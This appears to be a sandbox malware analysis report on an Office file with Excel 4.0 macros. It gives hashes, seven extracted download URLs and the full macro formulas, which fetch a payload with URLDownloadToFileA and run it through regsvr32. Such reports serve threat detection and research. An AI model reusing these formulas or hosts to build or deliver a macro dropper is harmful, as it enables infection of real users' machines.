General
-
Target
bd5a9253a60ebad745aae1e8435f003fc257cb6e0b480fe58d3a29dfb3864731
-
Size
38KB
-
MD5
6f2ecd6088024b3240b3d0e2635d7f7a
-
SHA1
88025bb96e4a4120f06d6413b11473e566553dbd
-
SHA256
bd5a9253a60ebad745aae1e8435f003fc257cb6e0b480fe58d3a29dfb3864731
-
SHA512
833a953285fc287d2a3b224edbf33707866f3985f207f2436ecf6363076bfd6d6a11fe690f3f81b498def309820f0b836e383e331f8d3095a137c04cb886037f
-
SSDEEP
768:mdUCR8xZ5jOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIy5:u5wXOZZ1ZYpoQ/pMAeVIyMId
Malware Config
Extracted
https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/
https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/
https://blog.centerking.top/wp-includes/WEIuPafz0bS/
https://edu-media.cn/wp-admin/TOu/
https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/
https://lydt.cc/wp-includes/jprpcO8U/
https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.centerking.top/wp-includes/WEIuPafz0bS/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://edu-media.cn/wp-admin/TOu/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lydt.cc/wp-includes/jprpcO8U/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
bd5a9253a60ebad745aae1e8435f003fc257cb6e0b480fe58d3a29dfb3864731